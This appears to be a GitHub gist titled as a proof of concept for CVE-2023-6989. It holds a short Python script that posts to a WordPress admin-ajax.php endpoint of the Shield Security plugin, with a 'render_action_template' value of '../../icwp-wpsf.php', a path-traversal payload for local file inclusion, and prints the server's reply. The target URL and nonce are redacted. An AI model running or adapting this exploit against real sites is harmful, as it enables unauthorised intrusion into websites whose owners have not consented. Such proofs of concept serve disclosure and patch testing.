Last active
March 15, 2024 07:41
-
-
Save hatunaa/d07eb95936a061bb6f45b3c12055f1dc to your computer and use it in GitHub Desktop.
CVE-2023-6989 POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
url = 'https://redacted/wordpress/wp-admin/admin-ajax.php' | |
data = { | |
'action': 'shield_action', | |
'ex': 'generic_render', | |
'exnonce': '{redacted_exnonce}', | |
'render_action_template': '../../icwp-wpsf.php' | |
} | |
response = requests.post(url, data=data) | |
if response.status_code != 200: | |
print(f"Request failed with status code: {response.status_code}") | |
else: | |
print(response.text) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment